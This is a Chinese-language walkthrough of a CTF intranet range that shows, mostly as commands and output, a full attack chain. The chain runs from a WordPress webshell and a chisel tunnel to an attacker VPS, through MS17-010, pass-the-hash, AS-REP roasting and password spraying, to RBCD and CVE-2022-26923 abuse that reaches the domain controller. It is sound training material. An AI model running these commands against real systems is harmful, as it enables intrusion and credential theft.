复现


靶标介绍:
该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。

考点:

  • wordpress插件rce
  • MS17-010
  • AS-REP Roasting
  • 基于资源的约束性委派
  • 智能卡身份验证出错下的CVE-2022–26923 AD域提权打法——Schannel传递证书传递到LDAPS,修改LDAP配置RBCD

web渗透

信息收集,外网打点

1
# python3 dirsearch.py -u 39.99.128.167 -e php

image.png

存在后台/wp-admin.php,弱口令admin:123456登录
image.png
发现theme file editor功能点,可以编辑php文件,尝试修改该文件并提交。
image.png

根据wordpress的命名特点找到绝对路径,发现恶意php代码被执行。
image.png

拿下一台主机

写入一句话木马,godzilla连接,成功,在根目录下获取flag01
image.png

后渗透

查看内网网段
image.png

传fscan,frp,一个扫内网,一个搭隧道。

fscan

1
wget https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64 -O fscan

扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
(icmp) Target 172.22.15.13    is alive
(icmp) Target 172.22.15.18 is alive
(icmp) Target 172.22.15.24 is alive
(icmp) Target 172.22.15.26 is alive
(icmp) Target 172.22.15.35 is alive
[*] Icmp alive hosts len is: 5
172.22.15.13:88 open
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.24:445 open
172.22.15.18:445 open
172.22.15.13:445 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.18:139 open
172.22.15.35:135 open
172.22.15.13:139 open
172.22.15.13:135 open
172.22.15.24:135 open
172.22.15.18:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
[*] alive ports len is: 18
start vulscan
[*] NetInfo:
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] NetInfo:
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[*] NetInfo:
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[*] NetBios: 172.22.15.35 XIAORANG\XR-0687
[*] NetInfo:
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[+] 172.22.15.24 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.15.13 [+]DC XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios: 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios: 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] WebTitle: http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle: http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[*] WebTitle: http://172.22.15.24/www/sys/index.php code:200 len:135 title:None
  • icmp 有5个IP地址能ping通
  • 端口扫描
    • 88 通常与 Kerberos 验证协议相关
    • 3306 mysql
    • 445 SMB协议,用于文件共享,可能是一个Windows文件服务
    • 139和135 NetBIOS 和 RPC(远程过程调用)相关的端口。windows
    • 80
    • 22 ssh
  • 主机的NetBIOS和NetInfo信息(台机器的主机名和工作组)

fscan的结果显然要打MS17-010,永恒之蓝

永恒之蓝(ms17-010)过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

附上一张网上的拓扑图
image.png

隧道搭建

上传chisel,搭隧道

1
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz

VPS上,server

1
./chisel server -p 1234 --reverse

172.22.15.26 机器上,client

1
./chisel client ip:1234 R:0.0.0.0:9383:socks

然后连接vps:9383的socks5代理
访问 http://172.22.15.24/ 成功
image.png

MS17-010

kali,msf直接打。但是需要先在kali上也建立一下socks5访问,这样我们的脚本才能直接攻击内网服务器。

1
nano /etc/proxychains4.conf

msf一把梭哈

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
exploit

多打两次能成功。笔者大概跑了三回吧。

image.png

尝试直接获取可交互的shell,回显一直是timeout,遂尝试其他方法。
看到其他师傅的wp直接将flag down下来,但是笔者认为无法得知flag的绝对地址,遂不使用。
查看当前身份

1
2
getuid
# Server username: NT AUTHORITY\SYSTEM

在Windows系统中,SYSTEM用户是具有最高权限的用户账户,它拥有对系统的完全控制权。

dump 哈希

1
2
3
4
hashdump

# Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

哈希传递,wmiexec连上去

1
proxychains4 python3 wmiexec.py administrator@172.22.15.24 -hashes :0e52d03e9b939997401466a0ec5a9cbc -codec gbk

image.png

然后就是找flag,发现直接使用这个shell找,交互时间长且容易误触,导致需要从头来过,于是打算创建一个新用户,直接rdp连接。

1
2
net user symya 123@asd /add
net localgroup administator symya /add

image.png

**image.png

rdp连接

win+r 然后mstsc,发现无法连接,后来才发现自己只做了浏览器的socks5代理,没有做全局代理。proxfier做全局代理
解决方法:https://blog.csdn.net/juanjuan_01/article/details/127005255

在机子中找到flag02

在该机子中存在phpstudy,发现数据库账号密码
在phpstudy唯一一个网站的根目录底下发现名为phpmyadmin,直接登录。发现有个表有一堆域账户。
image.png

导出zdoosys_user.sql,改后缀改成txt然后把邮箱提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re 
# 打开原始数据文件
with open('zdoosys_user.txt', 'r') as file:
data = file.readlines()

# 提取指定字符串
users = []
for line in data:
match = re.search(r'(\w+)@xiaorang.lab', line)
if match:
username = match.group(1)
users.append(username)

# 保存提取后的字符串到 user.txt
with open('email.txt', 'w') as file:
for user in users:
file.write(user + '\n')

弱口令接管OA

机器为:172.22.15.24
代理出来后,访问,发现弱口令admin:123456即可登录。
在团队,同事列表发现大量邮箱,可以做成email字典。和上方找到的类似。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab

XR-0687AS-ERP Roasting

AS-REP Roasting攻击:

Kerberos身份认证的第一个过程又被称为域身份验证,主要是为了防止与用户密码脱机爆破。如果与用户关闭了预身份验证(“Do not require Kerberos preauthentication”)的话,攻击者可以使用指定的用户向域控制器发送AS-REQ请求。然后域控制器会返回TGT票据和加密的Session-key等信息。因此攻击者就可以对获取到的加密Session-key进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。这种攻击方式被称作AS-REP Roasting攻击。

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “ 。而该属性默认是没有勾选上的。
预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。关于 AS_REQ & AS_REP:域内认证之Kerberos协议详解。
当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。

AS-REP Roasting攻击条件
域用户设置了 “Do not require Kerberos preauthentication(不需要kerberos预身份验证)”
需要一台可与KDC进行通信的主机/用户
进行攻击

跑一下,看一下是否存在有不要求Kerberos 预身份验证的账户。

获取TGT票据。

1
proxychains4 python3 GetNPUsers.py -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile /home/symya/桌面/email.txt

得:

1
2
3
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e5b9df0a854b830ce5f6e5ffe2499d71$d9d9dc060842070cd86a8ecae9e214d3a0ca14b815dc3c39e39c02a33d8e905757ff35a61a31e6dae59482b894e391be7ac67d4f7f484c37cc1dd80c93be6c30ac3a3e8217380170959db080a27cf29adff473385a7c554fe06c8512039f90255f853ce5be6e456377d5aec2530e674ac79c79bae51343f0150105c46703f0a7f1ba694e72c5b4d24aea907e04c33579b7601bda211fa28e0704115de88b9c073ab8863108a2013e8ec447163ec837615ca4dce0798bfdc3424400bdb37a5f0c0497ba4d7b4da0b56c726aca69ef6234ce75776b5bed88c814ec1d0b75b64cb38e94ff66ef5ef3b0a4b4ac8b

$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:65b092a36dd8d1c0c081c95ced2a0b5c$086f1297cb9911ce21af8569c7ffa32cd14a45c40e4b8b6d238eef27ba3950ca99d6101a323a4b3fa208c5569079d6090aa3ac6e8282e9ebcf648f8fff5931a2a171818303a0028b2fa3efc2bdd83650f8bbf4d303ef3974df40671e4185a8b47f424c64a416bd394501f122bb3e92d12b801f66eb5c6b3851337423e6242dbb85922fa767eb1855c1e2568d328c88158e9810ee2de558e0478026341ef05645ef5b23f943c6967590aea7d5f68a77d7ce6fe30e5536aabb7909c6695963f8dd47259e3b64922440007cb38e9252657053008213812802a49a3dbb27d8a3047a3489d9e81e24d4a64fa57d97

将申请到的TGT保存在文件中,使用John加载rockyou进行暴力破解。

1
john --wordlist=/usr/share/wordlists/rockyou.txt /home/symya/桌面/hash.txt

爆破出来为:

1
2
lixiuying:winniethepooh 
huachunmei:1qaz2wsx

找一下这个是哪台机子的账密,crackmapexec喷洒一下

1
proxychains4 -q crackmapexec smb 172.22.15.0/24 -u 'lixiuying' -p 'winniethepooh' 

发现只有只有172.22.15.35(XR-0687)可以成功登录上
⚠️upload failed, check dev console
rdp登录

1
2
lixiuying@xaiorang.lab
winniethepooh

ACL Abuse+RBCD提权

基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是在Windows Server 2012中新引入的功能。与传统的约束委派相比,它将设置委派的权限交还给了服务资源自身,也就是说服务自己可以决定“谁可以对我进行委派。”基于资源的约束委派的关键在于msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置。

用 bloodhound 收集域内信息

1
proxychains4 bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp

可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限,那么我们就可以通过配置 RBCD 拿到 XR-0687 的权限

使用impacket工具
添加用户

1
proxychains4 python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass '123@asd'

rbcd攻击

1
proxychains4 python3 rbcd.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'TEST$'

得到机器码

1
TEST$        (S-1-5-21-3745972894-1678056601-2622918667-1147)

创建票据

1
proxychains4 python3 getST.py xiaorang.lab/'TEST$':'123@asd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

导入票据

1
export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache 

报错:[Errno 111] Connection refused,改/etc/hosts
无密码连接

1
2
proxychains4 -q python3 psexec.py  -k -no-pass -dc-ip 172.22.15.13 administrator@XR-0687.xiaorang.lab -codec gbk

image.png
得flag03

1
type C:\Users\Administrator\flag\flag03.txt

image.png

Active Directory 域权限提升漏洞(CVE-2022-26923)

2022年5月10日,微软发布补丁修复了一个Active Directory域权限提升漏洞(CVE-2022-26923)。该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)的域环境中将权限提升至域管理员。

默认情况下,域用户账户可以注册User证书模板,计算机账户可以注册Machine证书模板。两个证书模板都允许执行客户端身份验证。
在申请计算机证书时,ADCS将计算机对象的dNSHostName属性的值添加到证书的主题备用名称中。当我们使用证书进行身份验证是,KDC会尝试将这个dNSHOstName属性值从证书映射到目标账户。
因此,如果我们将某个可控计算机账户(Test1$)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,那么就意味着我们可以欺骗ADCS,并最终申请到域控制器的AD证书。

简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。

添加一个账户,然后设置 DNS Host Name 为域控的 XR-DC01.xiaorang.lab。

1
proxychains4 -q certipy account create -user 'test2' -pass '123@asd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh'

image.png
然后用这个账户向 XR-CA请求证书

1
proxychains4 -q certipy req -u 'test2$@xiaorang.lab' -p '123@asd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine'

image.png
检索 Hash 生成票据

1
proxychains4 -q certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

image.png
报错

KDC_ERR_PADATA_TYPE_NOSUPP
在尝试使用智能卡登录时,无法找到合适的证书。可能是由于查询了错误的认证机构(CA)
当域控制器没有安装智能卡(域控制器或域控制器认证模板)的证书时,也可能发生这种情况。

尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。
转换证书格式 ,把pfx导出为.key 和.crt 两个文件。密码为空密码即可

1
2
openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key

下载PassTheCert.py

1
proxychains4 -q passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 

下一步将证书配置到域控的 RBCD

1
proxychains4 -q passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'test2$' 

image.png
申请ST

1
proxychains4 -q getST.py xiaorang.lab/'test2$':'123@asd' -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator

image.png

导入申请的票据

1
export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache

连接,也要修改/etc/hosts

1
proxychains4 python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

读flag

1
type C:\Users\Administrator\flag\flag04.txt

image.png